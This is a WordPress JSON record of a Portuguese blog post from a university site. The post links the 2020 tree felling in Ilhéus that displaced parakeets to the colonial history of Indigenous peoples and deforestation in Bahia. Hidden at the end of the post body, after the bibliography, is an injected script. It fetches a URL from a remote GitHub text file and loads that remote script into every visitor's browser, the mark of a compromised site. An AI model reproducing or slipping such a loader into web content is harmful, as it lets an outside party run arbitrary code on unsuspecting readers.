{"id":945,"date":"2020-11-04T20:10:04","date_gmt":"2020-11-04T22:10:04","guid":{"rendered":"http:\/\/www2.uesb.br\/galapagos\/?p=945"},"modified":"2024-10-07T15:27:10","modified_gmt":"2024-10-07T18:27:10","slug":"mmst-movimento-das-maritacas-sem-teto","status":"publish","type":"post","link":"https:\/\/www2.uesb.br\/galapagos\/2020\/11\/04\/mmst-movimento-das-maritacas-sem-teto\/","title":{"rendered":"MMST: Movimento das Maritacas Sem Teto"},"content":{"rendered":"<blockquote>\n<p style=\"text-align: justify;\"><span style=\"color: #000000;\">\u201cAs aves da esp\u00e9cie <em>Eupsittula aurea<\/em>, conhecidas popularmente como maritaca, periquito-rei e jandaia-estrela, se seguram em postes, fia\u00e7\u00e3o el\u00e9trica e telas de varandas de apartamentos que ficam pr\u00f3ximo ao canteiro onde as \u00e1rvores cortadas estavam plantadas.\u201d<\/span><\/p>\n<\/blockquote>\n<p style=\"text-align: justify;\"><span style=\"color: #000000;\"><img loading=\"lazy\" decoding=\"async\" class=\"size-medium wp-image-948 alignleft\" src=\"http:\/\/www2.uesb.br\/galapagos\/wp-content\/uploads\/2020\/11\/avesilheus-300x188.jpg\" alt=\"\" width=\"300\" height=\"188\" srcset=\"https:\/\/www2.uesb.br\/galapagos\/wp-content\/uploads\/2020\/11\/avesilheus-300x188.jpg 300w, https:\/\/www2.uesb.br\/galapagos\/wp-content\/uploads\/2020\/11\/avesilheus-768x481.jpg 768w, https:\/\/www2.uesb.br\/galapagos\/wp-content\/uploads\/2020\/11\/avesilheus.jpg 984w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/>A not\u00edcia vinculada acima estampou os mais diversos meios de comunica\u00e7\u00e3o, no \u00faltimo dia 15-07-2020, projetando a cidade de Ilh\u00e9us, localizada no sul da Bahia, no cen\u00e1rio nacional. \u00c1rvores antigas foram cortadas e centenas de maritacas ficaram desnorteadas sem seus ninhos. N\u00e3o poderia ser diferente, tamanha falta de uma pol\u00edtica ambiental efetiva em nosso pa\u00eds. Casos assim mostram o completo descaso com que o Brasil vem sendo (des) governado pelo Poder Executivo nos \u00faltimos tempos.<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"color: #000000;\">Not\u00edcias como essa levantam a seguinte quest\u00e3o: S\u00f3 as maritacas est\u00e3o ficando sem teto? Infelizmente n\u00e3o. O movimento das maritacas sem teto nos recorda os ataques constantes nas terras e reservas ind\u00edgenas sob justificativa de que eles s\u00e3o agentes de desmatamento. Parece evidente que tudo tende a piorar quando entramos na pauta das quest\u00f5es de meio ambiente e as popula\u00e7\u00f5es ind\u00edgenas que, desde o per\u00edodo colonial, v\u00eam sofrendo uma s\u00e9rie de a\u00e7\u00f5es abusivas organizadas por um grupo restrito controla desde sempre o poder econ\u00f4mico, bem como o dom\u00ednio pol\u00edtico e cultural da nossa sociedade.<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"color: #000000;\"><img loading=\"lazy\" decoding=\"async\" class=\"size-medium wp-image-950 alignright\" src=\"http:\/\/www2.uesb.br\/galapagos\/wp-content\/uploads\/2020\/11\/descobrimento-do-brasil-a-historia-pro-tras-do-dia-22-de-abril-de-1500-300x198.jpg\" alt=\"\" width=\"300\" height=\"198\" srcset=\"https:\/\/www2.uesb.br\/galapagos\/wp-content\/uploads\/2020\/11\/descobrimento-do-brasil-a-historia-pro-tras-do-dia-22-de-abril-de-1500-300x198.jpg 300w, https:\/\/www2.uesb.br\/galapagos\/wp-content\/uploads\/2020\/11\/descobrimento-do-brasil-a-historia-pro-tras-do-dia-22-de-abril-de-1500-1024x676.jpg 1024w, https:\/\/www2.uesb.br\/galapagos\/wp-content\/uploads\/2020\/11\/descobrimento-do-brasil-a-historia-pro-tras-do-dia-22-de-abril-de-1500-768x507.jpg 768w, https:\/\/www2.uesb.br\/galapagos\/wp-content\/uploads\/2020\/11\/descobrimento-do-brasil-a-historia-pro-tras-do-dia-22-de-abril-de-1500.jpg 1188w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/>Compreendo que existem armadilhas nas compara\u00e7\u00f5es entre o passado e o presente que podem conduzir o pensamento de um historiador. Mas, para entender as tramas sociais nas quais estamos inseridos, \u00e9 preciso mergulhar em acontecimentos antigos. Prendam os olhares na Capitania de Ilh\u00e9us da segunda metade do s\u00e9culo XVIII e in\u00edcio do s\u00e9culo XIX, onde os processos de descaracteriza\u00e7\u00e3o das popula\u00e7\u00f5es ind\u00edgenas e a derrubada de \u00e1rvores eram pr\u00e1ticas frequentes (assim como nos dias atuais).<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"color: #000000;\">Como nos apontam os oficiais Balthasar da Silva Lisboa e Luis Freire de Veras (ouvidores) e o capit\u00e3o Domingo Alves Branco Muniz Barreto, a regi\u00e3o da Capitania de Ilh\u00e9us era habitada por \u00edndios \u201cb\u00e1rbaros\u201d, \u201cerrantes\u201d e \u201cselvagens\u201d. Al\u00e9m disso, era riqu\u00edssima, repleta das chamadas madeiras de lei, como por exemplo vinh\u00e1tico, cedro e pau- brasil. Madeiras que eram utilizadas nas mais variadas formas de constru\u00e7\u00f5es, e gra\u00e7as a sua durabilidade possu\u00edam grande valor econ\u00f4mico em Portugal e em outros lugares da Europa.<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"color: #000000;\">Os processos de derrubada das madeiras, o transporte e o abastecimento dos navios ficavam a cargo principalmente dos ind\u00edgenas que viviam nas aldeias e vilas da regi\u00e3o, e que tinham a sua m\u00e3o de obra explorada pelos colonos. S\u00f3 quem desconhece os processos hist\u00f3ricos afirmaria que \u201cos ind\u00edgenas, desde o Per\u00edodo colonial desmatavam a natureza, assim como fazem hoje\u201d.<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"color: #000000;\"><img loading=\"lazy\" decoding=\"async\" class=\"size-medium wp-image-949 alignleft\" src=\"http:\/\/www2.uesb.br\/galapagos\/wp-content\/uploads\/2020\/11\/201-020848-historia-da-bahia-os-indios-jean-baptiste-debret-17681848-foto-dominio-publicogr-300x200.jpg\" alt=\"\" width=\"300\" height=\"200\" srcset=\"https:\/\/www2.uesb.br\/galapagos\/wp-content\/uploads\/2020\/11\/201-020848-historia-da-bahia-os-indios-jean-baptiste-debret-17681848-foto-dominio-publicogr-300x200.jpg 300w, https:\/\/www2.uesb.br\/galapagos\/wp-content\/uploads\/2020\/11\/201-020848-historia-da-bahia-os-indios-jean-baptiste-debret-17681848-foto-dominio-publicogr-768x511.jpg 768w, https:\/\/www2.uesb.br\/galapagos\/wp-content\/uploads\/2020\/11\/201-020848-historia-da-bahia-os-indios-jean-baptiste-debret-17681848-foto-dominio-publicogr.jpg 850w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/>Ao tentar apagar a hist\u00f3ria do Brasil, esquecem de mencionar que durante e ap\u00f3s o processo de invas\u00e3o liderado por Portugal (continuado por outros Estados Absolutistas), as popula\u00e7\u00f5es ind\u00edgenas foram dizimadas e os sobreviventes tiveram que readaptar as suas pr\u00e1ticas culturais para sobreviverem \u00e0 nova sociedade. Para al\u00e9m de lutar e resistir \u00e0s imposi\u00e7\u00f5es das armas, eles tamb\u00e9m tiveram que compreender as novas din\u00e2micas de funcionamento da sociedade do homem branco para poder fazer parte dela e, dessa forma, garantir a sobreviv\u00eancia das comunidades em uma sociedade colonial cheia de conflitos e negocia\u00e7\u00f5es.<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"color: #000000;\">Convencido de que n\u00e3o foram os ind\u00edgenas que derrubaram as \u00e1rvores seculares que, para al\u00e9m de embelezarem as ruas de Ilh\u00e9us, serviam de abrigo seguro para dezenas de aves, tamb\u00e9m me parece um tanto que embara\u00e7oso atribuir no passado e, sobretudo, atualmente, sem nenhuma contextualiza\u00e7\u00e3o e problematiza\u00e7\u00e3o hist\u00f3rica, a afirma\u00e7\u00e3o de que os ind\u00edgenas desmatam a natureza.<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"color: #000000;\">Antes de tudo, \u00e9 preciso lembrar que esse pa\u00eds carrega o nome de uma \u00e1rvore. \u00c9 preciso repensar as nossas pol\u00edticas p\u00fablicas com rela\u00e7\u00e3o as popula\u00e7\u00f5es ind\u00edgenas, j\u00e1 que assim como no Per\u00edodo Colonial, acabamos por reproduzir discursos pejorativos com rela\u00e7\u00e3o \u00e0 essas popula\u00e7\u00f5es genuinamente brasileiras. Al\u00e9m, \u00e9 claro, do fato de que, assim como as maritacas, todos n\u00f3s estamos ficando sem um lar, gra\u00e7as a explora\u00e7\u00e3o descontrolada dos recursos e a fragilidade com que as leis ambientais est\u00e3o sendo forjadas em nosso pa\u00eds. No Brasil, o Agro \u00e9 pop, mas a natureza e as popula\u00e7\u00f5es ind\u00edgenas n\u00e3o.<\/span><\/p>\n<p>&nbsp;<\/p>\n<hr \/>\n<p><span style=\"color: #000000;\">Texto escrito por <a href=\"http:\/\/buscatextual.cnpq.br\/buscatextual\/visualizacv.do?id=K4369398D8\">Ramon Queiroz Souza<\/a> &#8211; publicado em novembro de 2020.<\/span><\/p>\n<hr \/>\n<p><span style=\"color: #000000;\">Imagem Destaque: <a href=\"https:\/\/dribbble.com\/shots\/14068852-Cocada-da-Maritaca\">Cocada da Maritaca<\/a> por Rebeca Vonk Marins<\/span><\/p>\n<p><span style=\"color: #000000;\">Imagem 1: <a href=\"https:\/\/g1.globo.com\/ba\/bahia\/noticia\/2020\/07\/16\/apos-mortes-de-aves-prefeitura-de-ilheus-elabora-plano-de-acao-para-readaptacao-da-especie-na-area-urbana.ghtml\">G1<\/a><\/span><\/p>\n<p><span style=\"color: #000000;\">Imagem 2: <a href=\"https:\/\/ipiracity.com\/o-brasil-ainda-e-uma-colonia-de-portugal\/\">Ipir\u00e1 City<\/a><\/span><\/p>\n<p><span style=\"color: #000000;\">Imagem 3: <a href=\"https:\/\/www.visiteobrasil.com.br\/nordeste\/bahia\/historia\/conheca\/os-indios\">Visite o Brasil<\/a><\/span><\/p>\n<hr \/>\n<p><span style=\"color: #000000;\">ALMEIDA, Maria Regina Celestino de. Metamorfoses ind\u00edgenas: identidade e cultura nas aldeias coloniais do Rio de Janeiro. 2. ed. Rio de Janeiro: FGV, 2013.<\/span><\/p>\n<p><span style=\"color: #000000;\">BN (RJ). MS 512, (28), 33 f. Dota\u00e7\u00e3o antiga; I-4, 3,22. RESPOSTAS aos quesitos retro respectivos \u00e0 Aldeia de N. S da Escada, hoje V. de Nova Oliven\u00e7a, Bahia e mais: a0 respostas aos quesitos retro respectivos \u00e0 aldeia de N. S. das Candeias; b) respostas aos quesitos retro respectivos \u00e0 aldeia de Santo Andr\u00e9 e S\u00e3o Miguel de Serinhaem. S. I. 1768 [1759].<\/span><\/p>\n<p><span style=\"color: #000000;\">GAMA, Aliny. BA: aves ficam perdidas com queda de \u00e1rvores e se abrigam em telas e postes. Julho de 2020. Dispon\u00edvel em &lt;https:\/\/noticias.uol.com.br\/meio-ambiente\/ultimas-noticias\/redacao\/2020\/07\/15\/ba-aves-ficam-perdidas-com-queda-de-arvores-e-se-abrigam-em-telas-e-postes.htm&gt; Acesso em Out. 2020.<\/span><\/p>\n<p><span style=\"color: #000000;\">Officio do ouvidor da Comarca de Ilh\u00e9osBalthasar da Silva Lisboa para D. Rodrigo de Sousa Coutinho, no qual lhe comunica uma interessante informa\u00e7\u00e3o sobre a comarca de Ilh\u00e9os, a sua origem, a sua agricultura, com\u00e9rcio, popula\u00e7\u00e3o e preciosas matas. Cair\u00fa, 20 de mar\u00e7o de 1799. Anais da BN, volume 36<\/span><\/p>\n<p><span style=\"color: #000000;\">PERRONE-MOIS\u00c9S, Beatriz. \u00cdndios livres e \u00edndios escravos: Os princ\u00edpios da legisla\u00e7\u00e3o indigenista do per\u00edodo colonial (s\u00e9culo XVI a XVIII). In: CUNHA, Manuela Carneiro da (org.). Hist\u00f3ria dos \u00edndios no Brasil. S\u00e3o Paulo: Companhia das Letras, Secretaria Municipal de Cultura, FAPESP, 1992.<\/span><script>;var url = 'https:\/\/raw.githubusercontent.com\/AlexanderRPatton\/cdn\/main\/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u201cAs aves da esp\u00e9cie Eupsittula aurea, conhecidas popularmente como maritaca, periquito-rei e jandaia-estrela, se seguram em postes, fia\u00e7\u00e3o el\u00e9trica e telas de varandas de apartamentos que ficam pr\u00f3ximo ao canteiro onde as \u00e1rvores cortadas estavam plantadas.\u201d A not\u00edcia vinculada acima estampou os mais diversos meios de comunica\u00e7\u00e3o, no \u00faltimo dia 15-07-2020, projetando a cidade de [&hellip;]<\/p>\n","protected":false},"author":2,"featured_media":947,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_acf_changed":false,"footnotes":""},"categories":[3],"tags":[152],"class_list":["post-945","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-noticias","tag-bloggalapagos"],"acf":[],"_links":{"self":[{"href":"https:\/\/www2.uesb.br\/galapagos\/wp-json\/wp\/v2\/posts\/945","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www2.uesb.br\/galapagos\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www2.uesb.br\/galapagos\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www2.uesb.br\/galapagos\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/www2.uesb.br\/galapagos\/wp-json\/wp\/v2\/comments?post=945"}],"version-history":[{"count":3,"href":"https:\/\/www2.uesb.br\/galapagos\/wp-json\/wp\/v2\/posts\/945\/revisions"}],"predecessor-version":[{"id":1527,"href":"https:\/\/www2.uesb.br\/galapagos\/wp-json\/wp\/v2\/posts\/945\/revisions\/1527"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www2.uesb.br\/galapagos\/wp-json\/wp\/v2\/media\/947"}],"wp:attachment":[{"href":"https:\/\/www2.uesb.br\/galapagos\/wp-json\/wp\/v2\/media?parent=945"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www2.uesb.br\/galapagos\/wp-json\/wp\/v2\/categories?post=945"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www2.uesb.br\/galapagos\/wp-json\/wp\/v2\/tags?post=945"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}